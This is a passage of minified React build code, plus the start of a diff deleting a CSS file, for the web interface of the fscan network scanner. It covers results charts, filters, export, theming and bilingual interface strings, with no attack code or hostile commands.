data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",e),...t}));sue.displayName=n5.displayName;const r5=v.forwardRef(({className:e,sideOffset:t=4,...n},r)=>E.jsx(aue,{children:E.jsx(Gz,{ref:r,sideOffset:t,className:Ee("z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",e),...n})}));r5.displayName=Gz.displayName;const Cb=v.forwardRef(({className:e,inset:t,...n},r)=>E.jsx(Xz,{ref:r,className:Ee("relative flex cursor-default select-none items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0",t&&"pl-8",e),...n}));Cb.displayName=Xz.displayName;const cue=v.forwardRef(({className:e,children:t,checked:n,...r},i)=>E.jsxs(Zz,{ref:i,className:Ee("relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",e),checked:n,...r,children:[E.jsx("span",{className:"absolute left-2 flex h-3.5 w-3.5 items-center justify-center",children:E.jsx(Jz,{children:E.jsx(gM,{className:"h-4 w-4"})})}),t]}));cue.displayName=Zz.displayName;const uue=v.forwardRef(({className:e,children:t,...n},r)=>E.jsxs(Qz,{ref:r,className:Ee("relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",e),...n,children:[E.jsx("span",{className:"absolute left-2 flex h-3.5 w-3.5 items-center justify-center",children:E.jsx(Jz,{children:E.jsx(z6,{className:"h-2 w-2 fill-current"})})}),t]}));uue.displayName=Qz.displayName;const fue=v.forwardRef(({className:e,inset:t,...n},r)=>E.jsx(Wz,{ref:r,className:Ee("px-2 py-1.5 text-sm font-semibold",t&&"pl-8",e),...n}));fue.displayName=Wz.displayName;const due=v.forwardRef(({className:e,...t},n)=>E.jsx(e5,{ref:n,className:Ee("-mx-1 my-1 h-px bg-muted",e),...t}));due.displayName=e5.displayName;function dc({className:e,...t}){return E.jsx("div",{className:Ee("animate-pulse rounded-md bg-muted",e),...t})}const di={host:"hsl(var(--chart-1))",port:"hsl(var(--chart-2))",service:"hsl(var(--chart-3))",vuln:"hsl(var(--chart-4))"};function hue({results:e}){const{t}=xo(),n=v.useMemo(()=>{const l={host:0,port:0,service:0,vuln:0};return e.forEach(c=>{const u=c.type?.toLowerCase();u in l&&l[u]++}),[{name:t("typeHost"),value:l.host,fill:di.host},{name:t("typePort"),value:l.port,fill:di.port},{name:t("typeService"),value:l.service,fill:di.service},{name:t("typeVuln"),value:l.vuln,fill:di.vuln}]},[e,t]),r={host:{label:t("typeHost"),color:di.host},port:{label:t("typePort"),color:di.port},service:{label:t("typeService"),color:di.service},vuln:{label:t("typeVuln"),color:di.vuln}},i=e.length>0;return E.jsxs(Gl,{children:[E.jsxs(Wl,{className:"flex flex-row items-center justify-between space-y-0 pb-2",children:[E.jsxs(Xl,{className:"flex items-center gap-2 text-base",children:[E.jsx(s0,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"}),t("resultsDistribution")]}),E.jsx(ga,{variant:"secondary",className:"font-mono",children:e.length})]}),E.jsx(Zl,{children:i?E.jsxs("div",{className:"space-y-4",children:[E.jsx("div",{className:"flex justify-center",children:E.jsx(bh,{config:r,className:"h-[160px] w-[160px] aspect-square",children:E.jsxs($I,{children:[E.jsx(F1,{data:n.filter(l=>l.value>0),dataKey:"value",nameKey:"name",innerRadius:35,outerRadius:60,strokeWidth:2,stroke:"hsl(var(--background))",children:n.map((l,c)=>E.jsx(vo,{fill:l.fill},`cell-${c}`))}),E.jsx(Ob,{content:E.jsx(xh,{hideLabel:!0})})]})})}),E.jsx("div",{className:"space-y-2",children:n.map((l,c)=>E.jsxs("div",{className:"flex items-center justify-between text-sm",children:[E.jsxs("div",{className:"flex items-center gap-2",children:[E.jsx("div",{className:"w-3 h-3 rounded-sm shrink-0",style:{backgroundColor:l.fill}}),E.jsx("span",{className:"text-muted-foreground",children:l.name})]}),E.jsx("span",{className:"font-mono font-medium",children:l.value})]},c))}),E.jsx(bh,{config:r,className:"h-[120px] w-full",children:E.jsxs(lle,{data:n,layout:"vertical",margin:{left:0,right:8},children:[E.jsx(SI,{type:"number",hide:!0}),E.jsx(OI,{type:"category",dataKey:"name",tickLine:!1,axisLine:!1,width:50,tick:{fontSize:11}}),E.jsx(Ob,{content:E.jsx(xh,{})}),E.jsx(xI,{dataKey:"value",radius:3,children:n.map((l,c)=>E.jsx(vo,{fill:l.fill},`cell-${c}`))})]})})]}):E.jsx(Vh,{icon:s0,title:t("chartEmptyTitle"),description:t("chartEmptyDescription"),className:"py-6"})})]})}const pue={host:Tb,port:_b,service:SM,vuln:Nb};function mue(){const{t:e}=xo(),{clearLogs:t}=ax(),[n,r]=v.useState([]),[i,l]=v.useState("all"),[c,u]=v.useState(!1),f=v.useCallback(async()=>{u(!0);try{const S=await Rle();r(S.items)}catch(S){console.error("Failed to fetch results:",S)}finally{u(!1)}},[]);v.useEffect(()=>{f()},[f]);const h=async S=>{try{const w=await Dle(S),O=URL.createObjectURL(w),A=document.createElement("a");A.href=O,A.download=`fscan_results.${S}`,A.click(),URL.revokeObjectURL(O)}catch(w){console.error("Failed to export:",w)}},p=async()=>{try{await kle(),r([]),t()}catch(S){console.error("Failed to clear:",S)}},m=S=>{const w=S?.toLowerCase();return pue[w]||bM},y=S=>{switch(S?.toLowerCase()){case"host":return e("typeHost");case"port":return e("typePort");case"service":return e("typeService");case"vuln":return e("typeVuln");default:return S}},x=i==="all"?n:n.filter(S=>S.type===i);return E.jsx(xj,{children:E.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-10 gap-4",children:[E.jsxs("div",{className:"lg:col-span-7 space-y-4",children:[E.jsx(GP,{compact:!0,showTypeLabel:!0}),E.jsxs(Gl,{children:[E.jsxs(Wl,{className:"flex flex-row items-center justify-between space-y-0 pb-4",children:[E.jsxs(Xl,{className:"flex items-center gap-2 text-base",children:[E.jsx(lB,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"}),e("resultsTitle"),E.jsxs(ga,{variant:"secondary",className:"font-mono",children:[x.length," ",e("items")]})]}),E.jsxs("div",{className:"flex items-center gap-1 sm:gap-2",children:[E.jsxs(qH,{children:[E.jsx(FH,{asChild:!0,children:E.jsxs(or,{variant:"ghost",size:"sm",onClick:f,disabled:c,className:"gap-1.5",children:[E.jsx(yB,{className:`w-4 h-4 ${c?"animate-spin":""}`}),E.jsx("span",{className:"hidden sm:inline",children:e("refresh")})]})}),E.jsx(wj,{children:e("refresh")})]}),E.jsxs(iue,{children:[E.jsx(oue,{asChild:!0,children:E.jsxs(or,{variant:"ghost",size:"sm",className:"gap-1.5",children:[E.jsx(H6,{className:"w-4 h-4"}),E.jsx("span",{className:"hidden sm:inline",children:e("export")}),E.jsx(Ch,{className:"w-3 h-3"})]})}),E.jsxs(r5,{align:"end",children:[E.jsxs(Cb,{onClick:()=>h("json"),children:[E.jsx(G6,{className:"w-4 h-4 mr-2"}),"JSON"]}),E.jsxs(Cb,{onClick:()=>h("csv"),children:[E.jsx(X6,{className:"w-4 h-4 mr-2"}),"CSV"]})]})]}),E.jsx(y3,{orientation:"vertical",className:"h-5 mx-1"}),E.jsxs(Use,{children:[E.jsx(Hse,{asChild:!0,children:E.jsxs(or,{variant:"ghost",size:"sm",className:"text-destructive hover:text-destructive hover:bg-destructive/10 gap-1.5",children:[E.jsx(jB,{className:"w-4 h-4"}),E.jsx("span",{className:"hidden sm:inline",children:e("clearAll")})]})}),E.jsxs(rz,{children:[E.jsxs(az,{children:[E.jsx(oz,{children:e("clearConfirmTitle")}),E.jsx(lz,{children:e("clearConfirm")})]}),E.jsxs(iz,{children:[E.jsx(cz,{children:e("cancel")}),E.jsx(sz,{onClick:p,className:"bg-destructive text-destructive-foreground hover:bg-destructive/90",children:e("clearAll")})]})]})]})]})]}),E.jsx(Zl,{children:E.jsxs(Qle,{value:i,onValueChange:l,children:[E.jsxs(p3,{className:"h-9 sm:h-10 p-1 bg-muted/50 mb-4",children:[E.jsxs(Ol,{value:"all",className:"h-7 sm:h-8 px-3 text-xs sm:text-sm gap-1.5",children:[E.jsx(Q6,{className:"w-3.5 h-3.5"}),e("resultsFilterAll")]}),E.jsxs(Ol,{value:"host",className:"h-7 sm:h-8 px-3 text-xs sm:text-sm gap-1.5",children:[E.jsx(Tb,{className:"w-3.5 h-3.5"}),E.jsx("span",{className:"hidden sm:inline",children:e("resultsFilterHosts")})]}),E.jsxs(Ol,{value:"port",className:"h-7 sm:h-8 px-3 text-xs sm:text-sm gap-1.5",children:[E.jsx(_b,{className:"w-3.5 h-3.5"}),E.jsx("span",{className:"hidden sm:inline",children:e("resultsFilterPorts")})]}),E.jsxs(Ol,{value:"service",className:"h-7 sm:h-8 px-3 text-xs sm:text-sm gap-1.5",children:[E.jsx(SM,{className:"w-3.5 h-3.5"}),E.jsx("span",{className:"hidden sm:inline",children:e("resultsFilterServices")})]}),E.jsxs(Ol,{value:"vuln",className:"h-7 sm:h-8 px-3 text-xs sm:text-sm gap-1.5",children:[E.jsx(Nb,{className:"w-3.5 h-3.5"}),E.jsx("span",{className:"hidden sm:inline",children:e("resultsFilterVulns")})]})]}),E.jsx(m3,{value:i,className:"mt-0",children:E.jsx(rx,{className:"h-[calc(100vh-420px)] min-h-[400px]",children:c?E.jsx("div",{className:"space-y-3 py-2",children:[...Array(5)].map((S,w)=>E.jsxs("div",{className:"flex items-start gap-3 p-3 rounded-lg border",children:[E.jsx(dc,{className:"w-10 h-10 rounded-lg shrink-0"}),E.jsxs("div",{className:"flex-1 space-y-2",children:[E.jsxs("div",{className:"flex items-center gap-2",children:[E.jsx(dc,{className:"h-5 w-16"}),E.jsx(dc,{className:"h-4 w-32"})]}),E.jsx(dc,{className:"h-4 w-48"})]}),E.jsx(dc,{className:"h-5 w-20 shrink-0"})]},w))}):x.length===0?E.jsx(Vh,{icon:OM,title:e("resultsEmpty"),description:e("resultsEmptyDescription"),className:"py-16"}):E.jsx("div",{className:"space-y-2",children:x.map(S=>{const w=m(S.type),O=S.type?.toLowerCase();return E.jsxs("div",{className:"group flex items-start gap-3 p-3 rounded-lg border bg-background hover:border-foreground/20 hover:bg-muted/30 transition-all",children:[E.jsx("div",{className:"shrink-0 w-8 h-8 sm:w-10 sm:h-10 rounded-lg flex items-center justify-center bg-muted group-hover:scale-105 transition-transform",children:E.jsx(w,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"})}),E.jsxs("div",{className:"flex-1 min-w-0",children:[E.jsxs("div",{className:"flex items-center gap-2",children:[E.jsx(ga,{variant:O,children:y(S.type)}),E.jsx("span",{className:"font-mono text-sm font-medium truncate",children:S.target})]}),S.status&&E.jsx("p",{className:"mt-1 text-sm text-muted-foreground truncate",children:S.status})]}),E.jsxs(ga,{variant:"outline",className:"shrink-0 gap-1 font-mono text-xs",children:[E.jsx(wM,{className:"w-3 h-3"}),new Date(S.time).toLocaleTimeString()]})]},S.id)})})})})]})})]})]}),E.jsx("div",{className:"lg:col-span-3",children:E.jsx("div",{className:"lg:sticky lg:top-20",children:E.jsx(hue,{results:n})})})]})})}const vue={en:{translation:{appTitle:"Fscan Web UI",appDescription:"Network Security Scanner",navScan:"Scan",navResults:"Results",navSettings:"Settings",scanTitle:"New Scan",scanTarget:"Target",scanTargetPlaceholder:"IP, IP range, domain (e.g., 192.168.1.0/24)",scanPorts:"Ports",scanPortsPlaceholder:"Port range (e.g., 1-1000,3306,8080)",scanPreset:"Preset",scanPresetSelect:"Select preset...",scanMode:"Scan Mode",scanModeAll:"All",scanModeIcmp:"ICMP Only",scanThreads:"Threads",scanTimeout:"Timeout (s)",scanAdvanced:"Advanced Options",scanDisablePing:"Disable Ping",scanDisableBrute:"Disable Brute Force",scanAliveOnly:"Alive Only",scanUsername:"Username",scanPassword:"Password",scanDomain:"Domain",scanExcludeHosts:"Exclude Hosts",scanExcludePorts:"Exclude Ports",scanStartBtn:"Start Scan",scanStopBtn:"Stop Scan",scanRunning:"Scan Running...",statusIdle:"Idle",statusRunning:"Running",statusStopping:"Stopping",statsHosts:"Hosts",statsPorts:"Ports",statsServices:"Services",statsVulns:"Vulnerabilities",resultsTitle:"Scan Results",resultsDistribution:"Results Distribution",chartEmptyTitle:"No data available",chartEmptyDescription:"Statistics will be displayed here after scanning",resultsExport:"Export",resultsClear:"Clear",resultsEmpty:"No results yet",resultsEmptyDescription:"Results will appear here after scanning",resultsFilterAll:"All",resultsFilterHosts:"Hosts",resultsFilterPorts:"Ports",resultsFilterServices:"Services",resultsFilterVulns:"Vulnerabilities",liveFeed:"Live Feed",liveFeedConnected:"Connected",liveFeedDisconnected:"Disconnected",liveFeedEmptyDescription:"Start a scan to see real-time results",settingsTitle:"Settings",settingsLanguage:"Language",settingsTheme:"Theme",settingsThemeLight:"Light",settingsThemeDark:"Dark",settingsThemeSystem:"System",loading:"Loading...",error:"Error",success:"Success",cancel:"Cancel",confirm:"Confirm",close:"Close",items:"items",refresh:"Refresh",clearAll:"Clear all",export:"Export",exportJson:"Export JSON",exportCsv:"Export CSV",targetRequired:"Target is required",startScanFailed:"Failed to start scan",stopScanFailed:"Failed to stop scan",clearConfirmTitle:"Clear Results",clearConfirm:"Are you sure you want to clear all results? This action cannot be undone.",lightMode:"Light mode",darkMode:"Dark mode",typeHost:"host",typePort:"port",typeService:"service",typeVuln:"vuln"}},zh:{translation:{appTitle:"Fscan Web UI",appDescription:"网络安全扫描器",navScan:"扫描",navResults:"结果",navSettings:"设置",scanTitle:"新建扫描",scanTarget:"目标",scanTargetPlaceholder:"IP、IP段、域名 (如: 192.168.1.0/24)",scanPorts:"端口",scanPortsPlaceholder:"端口范围 (如: 1-1000,3306,8080)",scanPreset:"预设",scanPresetSelect:"选择预设...",scanMode:"扫描模式",scanModeAll:"全部",scanModeIcmp:"仅ICMP",scanThreads:"线程数",scanTimeout:"超时(秒)",scanAdvanced:"高级选项",scanDisablePing:"禁用Ping",scanDisableBrute:"禁用爆破",scanAliveOnly:"仅存活检测",scanUsername:"用户名",scanPassword:"密码",scanDomain:"域名",scanExcludeHosts:"排除主机",scanExcludePorts:"排除端口",scanStartBtn:"开始扫描",scanStopBtn:"停止扫描",scanRunning:"扫描进行中...",statusIdle:"空闲",statusRunning:"运行中",statusStopping:"停止中",statsHosts:"主机",statsPorts:"端口",statsServices:"服务",statsVulns:"漏洞",resultsTitle:"扫描结果",resultsDistribution:"结果分布",chartEmptyTitle:"暂无数据",chartEmptyDescription:"扫描后将在此显示统计图表",resultsExport:"导出",resultsClear:"清空",resultsEmpty:"暂无结果",resultsEmptyDescription:"扫描结果将在此显示",resultsFilterAll:"全部",resultsFilterHosts:"主机",resultsFilterPorts:"端口",resultsFilterServices:"服务",resultsFilterVulns:"漏洞",liveFeed:"实时动态",liveFeedConnected:"已连接",liveFeedDisconnected:"已断开",liveFeedEmptyDescription:"开始扫描后将在此显示实时结果",settingsTitle:"设置",settingsLanguage:"语言",settingsTheme:"主题",settingsThemeLight:"浅色",settingsThemeDark:"深色",settingsThemeSystem:"跟随系统",loading:"加载中...",error:"错误",success:"成功",cancel:"取消",confirm:"确认",close:"关闭",items:"条",refresh:"刷新",clearAll:"清空全部",export:"导出",exportJson:"导出 JSON",exportCsv:"导出 CSV",targetRequired:"请输入扫描目标",startScanFailed:"启动扫描失败",stopScanFailed:"停止扫描失败",clearConfirmTitle:"清空结果",clearConfirm:"确定要清空所有结果吗?此操作不可撤销。",lightMode:"浅色模式",darkMode:"深色模式",typeHost:"主机",typePort:"端口",typeService:"服务",typeVuln:"漏洞"}}};hn.use(d6).init({resources:vue,lng:"zh",fallbackLng:"zh",interpolation:{escapeValue:!1}});function gue(){const{t:e,i18n:t}=xo(),[n,r]=v.useState("scan"),[i,l]=v.useState(()=>{if(typeof window<"u"){const c=localStorage.getItem("theme");return c?c==="dark":window.matchMedia("(prefers-color-scheme: dark)").matches}return!1});return v.useEffect(()=>{document.documentElement.classList.toggle("dark",i),localStorage.setItem("theme",i?"dark":"light")},[i]),E.jsx(vq,{children:E.jsxs("div",{className:"min-h-screen bg-background flex flex-col",children:[E.jsx("header",{className:"sticky top-0 z-50 border-b bg-background/95 backdrop-blur-sm",children:E.jsxs("div",{className:"container h-14 sm:h-16 flex items-center justify-between",children:[E.jsxs("div",{className:"flex items-center gap-4 sm:gap-6",children:[E.jsxs("a",{href:"https://github.com/shadow1ng/fscan",target:"_blank",rel:"noopener noreferrer",className:"flex items-center gap-2 text-foreground hover:opacity-80 transition-opacity",children:[E.jsx("div",{className:"w-7 h-7 sm:w-8 sm:h-8 rounded-lg bg-foreground flex items-center justify-center",children:E.jsx(UA,{className:"w-4 h-4 sm:w-5 sm:h-5 text-background"})}),E.jsx("span",{className:"font-semibold text-base sm:text-lg tracking-tight",children:"fscan"}),E.jsx("span",{className:"text-xs text-muted-foreground font-mono px-1.5 py-0.5 rounded bg-muted hidden sm:inline",children:"v2.1"})]}),E.jsx("div",{className:"h-5 w-px bg-border hidden sm:block"}),E.jsxs("nav",{className:"flex items-center gap-1",children:[E.jsxs(or,{variant:n==="scan"?"default":"ghost",size:"sm",onClick:()=>r("scan"),className:"gap-2",children:[E.jsx(vB,{className:"w-4 h-4"}),E.jsx("span",{className:"hidden sm:inline",children:e("navScan")})]}),E.jsxs(or,{variant:n==="results"?"default":"ghost",size:"sm",onClick:()=>r("results"),className:"gap-2",children:[E.jsx(s0,{className:"w-4 h-4"}),E.jsx("span",{className:"hidden sm:inline",children:e("navResults")})]})]})]}),E.jsxs("div",{className:"flex items-center gap-1",children:[E.jsx(or,{variant:"ghost",size:"icon",asChild:!0,children:E.jsx("a",{href:"https://github.com/shadow1ng/fscan",target:"_blank",rel:"noopener noreferrer",title:"GitHub",children:E.jsx(eB,{className:"w-5 h-5"})})}),E.jsx("div",{className:"h-5 w-px bg-border mx-1"}),E.jsx(or,{variant:"ghost",size:"icon",onClick:()=>t.changeLanguage(t.language==="zh"?"en":"zh"),title:t.language==="zh"?"English":"中文",children:E.jsx(iB,{className:"w-5 h-5"})}),E.jsx(or,{variant:"ghost",size:"icon",onClick:()=>l(!i),title:e(i?"lightMode":"darkMode"),children:i?E.jsx(_B,{className:"w-5 h-5"}):E.jsx(fB,{className:"w-5 h-5"})})]})]})}),E.jsx("main",{className:"container flex-1 py-3 sm:py-4 lg:py-5",children:n==="scan"?E.jsx(zle,{}):E.jsx(mue,{})}),E.jsx("footer",{className:"border-t py-3 sm:py-4",children:E.jsxs("div",{className:"container flex items-center justify-center gap-2 text-xs sm:text-sm text-muted-foreground",children:[E.jsx(UA,{className:"w-4 h-4"}),E.jsx("span",{children:e("appDescription")}),E.jsx("span",{className:"opacity-40",children:"·"}),E.jsxs("a",{href:"https://github.com/shadow1ng/fscan",target:"_blank",rel:"noopener noreferrer",className:"inline-flex items-center gap-1 hover:text-foreground transition-colors",children:["GitHub",E.jsx(K6,{className:"w-3.5 h-3.5"})]})]})})]})})}k$.createRoot(document.getElementById("root")).render(E.jsx(v.StrictMode,{children:E.jsx(gue,{})})); diff --git a/web/dist/assets/index-CTrwF18n.css b/web/dist/assets/index-CTrwF18n.css deleted file mode 100644 index c9208e22..00000000 --- a/web/dist/assets/index-CTrwF18n.css +++ /dev/null @@ -1 +0,0 @@ -@import"https://fonts.googleapis.com/css2?family=IBM+Plex+Mono:wght@400;500;600&family=IBM+Plex+Sans:wght@400;500;600&display=swap";*,:before,:after{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }::backdrop{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }*,:before,:after{box-sizing:border-box;border-width:0;border-style:solid;border-color:#e5e7eb}:before,:after{--tw-content: ""}html,:host{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;-o-tab-size:4;tab-size:4;font-family:IBM Plex Sans,-apple-system,BlinkMacSystemFont,sans-serif;font-feature-settings:normal;font-variation-settings:normal;-webkit-tap-highlight-color:transparent}body{margin:0;line-height:inherit}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:IBM Plex Mono,ui-monospace,monospace;font-feature-settings:normal;font-variation-settings:normal;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}button,input,optgroup,select,textarea{font-family:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:100%;font-weight:inherit;line-height:inherit;letter-spacing:inherit;color:inherit;margin:0;padding:0}button,select{text-transform:none}button,input:where([type=button]),input:where([type=reset]),input:where([type=submit]){-webkit-appearance:button;background-color:transparent;background-image:none}:-moz-focusring{outline:auto}:-moz-ui-invalid{box-shadow:none}progress{vertical-align:baseline}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}blockquote,dl,dd,h1,h2,h3,h4,h5,h6,hr,figure,p,pre{margin:0}fieldset{margin:0;padding:0}legend{padding:0}ol,ul,menu{list-style:none;margin:0;padding:0}dialog{padding:0}textarea{resize:vertical}input::-moz-placeholder,textarea::-moz-placeholder{opacity:1;color:#9ca3af}input::placeholder,textarea::placeholder{opacity:1;color:#9ca3af}button,[role=button]{cursor:pointer}:disabled{cursor:default}img,svg,video,canvas,audio,iframe,embed,object{display:block;vertical-align:middle}img,video{max-width:100%;height:auto}[hidden]:where(:not([hidden=until-found])){display:none}:root{--background: 0 0% 99%;--foreground: 220 14% 10%;--card: 0 0% 100%;--card-foreground: 220 14% 10%;--popover: 0 0% 100%;--popover-foreground: 220 14% 10%;--primary: 220 14% 10%;--primary-foreground: 0 0% 99%;--secondary: 220 13% 95%;--secondary-foreground: 220 14% 10%;--muted: 220 13% 95%;--muted-foreground: 220 9% 46%;--accent: 220 13% 95%;--accent-foreground: 220 14% 10%;--destructive: 0 72% 51%;--destructive-foreground: 0 0% 99%;--border: 220 13% 90%;--input: 220 13% 90%;--ring: 220 14% 10%;--radius: .5rem;--success: 142 71% 45%;--warning: 38 92% 50%;--chart-1: 217 91% 60%;--chart-2: 160 84% 39%;--chart-3: 43 96% 56%;--chart-4: 0 72% 51%;--chart-5: 262 83% 58%}.dark{--background: 220 16% 6%;--foreground: 220 13% 95%;--card: 220 16% 8%;--card-foreground: 220 13% 95%;--popover: 220 16% 8%;--popover-foreground: 220 13% 95%;--primary: 220 13% 95%;--primary-foreground: 220 16% 6%;--secondary: 220 14% 14%;--secondary-foreground: 220 13% 95%;--muted: 220 14% 14%;--muted-foreground: 220 9% 55%;--accent: 220 14% 14%;--accent-foreground: 220 13% 95%;--destructive: 0 62% 50%;--destructive-foreground: 220 13% 95%;--border: 220 14% 16%;--input: 220 14% 16%;--ring: 220 13% 95%;--success: 142 71% 45%;--warning: 38 92% 50%;--chart-1: 217 91% 65%;--chart-2: 160 84% 45%;--chart-3: 43 96% 60%;--chart-4: 0 72% 55%;--chart-5: 262 83% 65%}*{border-color:hsl(var(--border))}html{font-size:15px;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}@media(min-width:640px){html{font-size:16px}}@media(min-width:1024px){html{font-size:17px}}@media(min-width:1280px){html{font-size:18px}}body{background-color:hsl(var(--background));color:hsl(var(--foreground));font-family:IBM Plex Sans,-apple-system,BlinkMacSystemFont,sans-serif;margin:0;line-height:1.6}.container{width:100%}@media(min-width:640px){.container{max-width:640px}}@media(min-width:768px){.container{max-width:768px}}@media(min-width:1024px){.container{max-width:1024px}}@media(min-width:1280px){.container{max-width:1280px}}@media(min-width:1536px){.container{max-width:1536px}}.container{margin-left:auto;margin-right:auto;padding-left:.75rem;padding-right:.75rem}@media(min-width:640px){.container{padding-left:1rem;padding-right:1rem}}@media(min-width:1024px){.container{padding-left:1.5rem;padding-right:1.5rem}}@media(min-width:1280px){.container{padding-left:2rem;padding-right:2rem}}.container{max-width:100%}.field-label{margin-bottom:.375rem;font-size:.75rem;line-height:1rem;font-weight:500;text-transform:uppercase;letter-spacing:.025em;color:hsl(var(--muted-foreground))}.field-input{height:2.5rem;padding-left:.75rem;padding-right:.75rem;font-size:.875rem;line-height:1.25rem}.field-input-mono{height:2.5rem;padding-left:.75rem;padding-right:.75rem;font-family:IBM Plex Mono,ui-monospace,monospace;font-size:.875rem;line-height:1.25rem;font-family:IBM Plex Mono,ui-monospace,monospace}.log-line{display:flex;align-items:center;gap:.75rem;border-radius:calc(var(--radius) - 2px);padding:.375rem .5rem;font-family:IBM Plex Mono,ui-monospace,monospace;font-size:.875rem;line-height:1.25rem;font-family:IBM Plex Mono,ui-monospace,monospace;transition-property:color,background-color,border-color,text-decoration-color,fill,stroke;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.log-line:hover{background-color:hsl(var(--muted) / .5)}.log-time{width:5rem;flex-shrink:0;font-size:.75rem;line-height:1rem;color:hsl(var(--muted-foreground))}@media(min-width:640px){.log-time{font-size:.875rem;line-height:1.25rem}}.log-target{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;font-size:.75rem;line-height:1rem}@media(min-width:640px){.log-target{font-size:.875rem;line-height:1.25rem}}.switch-row{display:flex;align-items:center;justify-content:space-between;border-radius:calc(var(--radius) - 2px);background-color:hsl(var(--muted) / .4);padding:.5rem .75rem;font-size:.875rem;line-height:1.25rem}@keyframes fade-in{0%{opacity:0;transform:translateY(-2px)}to{opacity:1;transform:translateY(0)}}.animate-fade-in{animation:fade-in .15s ease-out}@keyframes slide-up{0%{opacity:0;transform:translateY(4px)}to{opacity:1;transform:translateY(0)}}@keyframes 